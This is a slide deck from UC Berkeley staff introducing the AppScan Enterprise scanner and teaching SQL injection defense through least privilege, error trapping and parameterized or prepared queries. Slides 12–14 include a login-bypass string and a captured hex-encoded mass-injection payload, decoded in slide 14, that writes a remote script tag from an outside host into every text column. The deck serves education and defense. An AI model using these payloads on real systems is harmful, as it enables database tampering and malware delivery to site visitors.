AppScan Enterprise: Introduction, Discussion, and SQL Injection Demo

1. AppScan Enterprise: Introduction, Discussion, and SQL Injection Demo Kate Riley ktriley@berkeley.edu Paul Rivers privers@berkeley.edu

2. Web Application Vulnerabilities • The Web Hacking Incidents Database 2007 • 20% SQL injection • 67% were “for profit” • 15% were educational organizations

3. How do we combat this problem? • Education and awareness • Implement security in SDLC (Software Development Life Cycle) • Source code analysis • Penetration testing • Web application firewalls

4. AppScan Enterprise • Web-based, multi-user web application scanner • QuickScan - a point and shoot testing tool • Used against development or staging environments • Central report repository with remediation tracking

5. AppScan Enterprise • ASE Administrators • Scan Coordinators • QuickScan Users

6. AppScan Enterprise • [demo]

7. SQL Injection

8. Why SQL injection? • A very prevalent database attack • Mentioned by name in several industry standard data security specifications • We see this attack year after year at UC Berkeley • SQL injection is easy to describe compared to other attacks (e.g. XSS), and easy to prevent • Preventing injection is the Happy Case in security: it makes an app faster & more efficient

9. PCI DSS and injection The Payment Card Industry (PCI) formally says this about SQL injection: 6.3.7 "Review of custom code prior to release to production or customers in order to identify any potential coding vulnerability". 6.5.6 “Develop web applications … based on secure guidelines … [which] cover the prevention of common coding vulnerabilities in software development processes .... [including] injection flaws (for example, SQL injection)" 6.6 "Ensure that all web-facing applications are protected against known attacks by applying either of the following methods: • Having all custom application code reviewed for common vulnerabilities by an organization that specializes in application security • Installing an application layer firewall in front of web-facing applications.

10. What is SQL injection? SQL injection results from applications submitting SQL to the database which originated by concatenating unsanitized user input into the SQL string, and as a result executing unexpected SQL in the database.

11. http://xkcd.com/327/

12. The textbook injection Simple check if a user is valid: select count(*) from users_table where user=‘$user’ and password=‘$pass’ Malicious input: ' OR 1=1; -- Resulting SQL: select count(*) from users_table where user = '' OR 1=1; -- ‘and password=$pass

13. More complicated example 192.168.1.333 POST /search/searchpage.asp ID=36 &IDENT=XYZ0000346&somethingtype=X;DECLARE%20@S%20NVARCHAR(4000);SET %20@S=CAST(0x4400450043004C00410052004500200040005400200076006100720 06300680061007200280032003500350029002C004000430020007600610072006300680 0610072002800320035003500290020004400450043004C0041005200450020005400610 062006C0065005F0043007500720073006F007200200043005500520053004F005200200 046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0 062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A0 06500630074007300200061002C0073007900730063006F006C0075006D006E007300200 06200200077006800650072006500200061002E00690064003D0062002E0069006400200 061006E006400200061002E00780074007900700065003D00270075002700200061006E0 064002000280062002E00780074007900700065003D003900390020006F0072002000620 02E00780074007900700065003D003300350020006F007200200062002E0078007400790 0700065003D0032003300310020006F007200200062002E00780074007900700065003D0 0310036003700290020004F00500045004E0020005400610062006C0065005F004300750 0720073006F00720020004600450054004300480020004E0045005800540020004600520 04F004D00200020005400610062006C0065005F0043007500720073006F0072002000490 04E0054004F002000400054002C004000430020005700480049004C00450028004000400 0460045005400430048005F005300540041005400550053003D003000290020004200450 0470049004E00200065007800650063002800270075007000640061007400650020005B0 027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0 027005D003D0072007400720069006D00280063006F006E0076006500720074002800760 06100720063006800610072002C005B0027002B00400043002B0027005D00290029002B0 0270027003C0073006300720069007000740020007300720063003D00680074007400700 03A002F002F007700770077002E006E006900680061006F003100310032002E0063006F0 06D002F006D002E006A0073003E003C002F007300630072006900700074003E002700270 0270029004600450054004300480020004E004500580054002000460052004F004D00200 020005400610062006C0065005F0043007500720073006F007200200049004E0054004F0 02000400054002C0040004300200045004E004400200043004C004F00530045002000540 0610062006C0065005F0043007500720073006F00720020004400450041004C004C004F0 0430041005400450020005400610062006C0065005F0043007500720073006F007200%20 AS%20NVARCHAR(4000));EXEC(@S);-- - 1.1.1.666

14. More complicated – part 2 DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+”<script src=hxxp://www.imabadwebsite.xyz/m.js></script>”’)FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

15. Defending SQL injection Two axioms of system security: • Security must be a design consideration before and during the build, not tacked on after • Security measures are best applied in layers

16. Defending SQL injection - 2 Three layers should be planned out at application design time in order to defend against SQL injection: • Follow the principle of least privilege for database accounts • Trap all errors – do not leak information about the system • Always use parameterized queries when talking to the database

17. Principle of Least Privilege • Grant as few privileges as absolutely required to database application accounts. • Never grant instance-level privileges to application accounts: • MySQL: all privileges on *.*; most any 'Y' in a _priv column in table mysql.user • Oracle: built-in roles such as DBA, the ANY roles (e.g. select any table) • SQL Server: any system fixed role such as sysadmin, sysoper, securityadmin, etc • PostgreSQL: the SUPERUSER, CREATEDB, CREATUSER, etc, cluster-wide roles

18. Principle of Least Privilege - 2 Do not grant database/schema owner privileges to web application accounts in the database: • MySQL: all privileges on <database>.* • Oracle: using the schema owner for the web application account • SQL Server: dbo alias or db_owner fixed database role • PostgreSQL: owning the database or schema; grant of all privileges on database or schema to ID

19. Principle of Least Privilege – 3 Other good practices for least privilege include: Stored procedures – Somewhat out of favor technically at the moment. These do not prevent injection, they only help modularize access Database roles help organize and make permissions maintainable in the long run Run development web IDs with the same restricted privileges as you would production

20. Trapping Errors • It should be impossible for an untrapped error to bubble up to a webpage • Aside from poor aesthetics and usability, untrapped errors expose system internals and code logic • Test hard error conditions, such as: • Database is down • Web application ID is locked or password wrong • Database has been dropped or objects no longer exist • Insufficient permissions • Database connection lost or session killed

21. Parameterized Queries A parameterized query is a way of introducing strong typing into the construction of your SQL string, before sending it off to the database for execution. For most databases and languages, this is more than merely escaping user input. However, a few languages and database drivers may be merely escaping user input. (More on this shortly).

22. Parameterized Queries – 2 Our simple example: select count(*) from user_table where user=$user and password=$pass Becomes one of these: select count(*) from user_table where user=? and password=? select count(*) from user_table where user=@user and password=@pass select count(*) from user_table where user=:user and password=:pass It depends on your programming language and possibly database which form is appropriate.

23. Paramterized Queries - 3 The “full” parameterized version : ## Create a connection and setup a parameterized query $database_handle = <create db connection - details omitted> $stmt_handle = CreateSqlStatement( "select count(*) from user_table where user=@user and password=@pass", $database_handle ) $stmnt_handle.Parameters.Add( "@user" [System.Data.SqlDbType]"varchar" ) $stmnt_handle.Parameters.Add( "@pass" , [System.Data.SqlDbType]"varchar" ) ## Reuse the parameterized query many times, potentially foreach $user, $pass do: $statement_handle.Parameters["@user"].value = $username $statement_handle.Parameters["@pass"].value = $password $results = $statement_handle.Execute() done

24. Parameterized Queries - 4 The “terse” version: $database_handle = <create db connection> $statement_handle = $database_handle->prepare( 'select count(*) from user_table where user=? and password=?' ) foreach $user, $pass do: $statement_handle.execute( $username , $password ) done

25. Parameterized vs Prepared • High level steps of query execution: • Parsing • Validation • Optimization • Executor Query plan : the internal representation of a query resulting from steps 1- 3

26. Parameterized vs Prepared - 2 • Hard parse : when a query plan for the incoming query does not exist, and steps 1 – 4 must be executed to satisfy the query. • Soft parse : when a query plan for the incoming query already exists. Execution can begin almost immediately.

27. Parameterized vs Prepared - 3 Parameterized query: the WHERE clause values are substituted on the client before being sent to the database. Prepared query: the query is sent with placeholders to the database server. When executed, the particular values are given by the client.

28. Parameterized vs Prepared - 4 This means for a parameterized query, it always looks new to the database. A prepared query is only new the first time it has been executed. The performance benefits for web applications can be massive.

29. Parameterized vs Prepared - 5 Ways to verify if your query is prepared : • Read the docs for your programming API and database driver carefully! • MySQL: logging (kind of, requires DBA access) and the global prepared_stmt_cnt counter • Oracle: tkprof (requires DBA level privs) • SQL Server: sys.dm_exec_query_stats (version 2005 or above, requires dba privs or VIEW SERVER STATE) • PostgreSQL: enable verbose logging (DBA access), or else code the connection to check pg_prepared_statements

30. A performance example Using SQL Server 2005 sp2, our simple username + password check query plan is around 40k • Running 10k times via prepare() requires a single 40k plan to be kept in memory • Running 10k times via parameterized requires 10k distinct query plans be kept in memory, totaling 234MB (actual figure is worse) • The execution time of the prepare()ed version is about 56% faster. • Expect even more dramatic differences for more complicated (from an optimizer point of view) queries.

31. Quick SQL injection recap Broad principles: • Apply least privilege to database accounts • Trap all web errors • Use parameterized queries, or better, prepared queries always Take the time to get to know your database, just as you would your programming language, web framework, webserver, or operating system. While SQL pretends to be portable (but isn’t), things such as query optimization and authorization mechanisms in databases are even less interchangeable. Defending SQL injection is the Happy Case where doing The Right Thing™ makes the application faster and more efficient, and your users happier.

32. Contact Information • To get started with AppScan ase_help@lists.berkeley.edu (ase_help) • Database help – this email goes to the IST DBA team. We manage centrally funded databases and recharge application, and are happy to help with database questions on Oracle, SQL Server, MySQL and PostgreSQL as time permits:dbdoctor@berkeley.edu • The Open Web Application Security Project http://www.owasp.org/index.php/Main_Page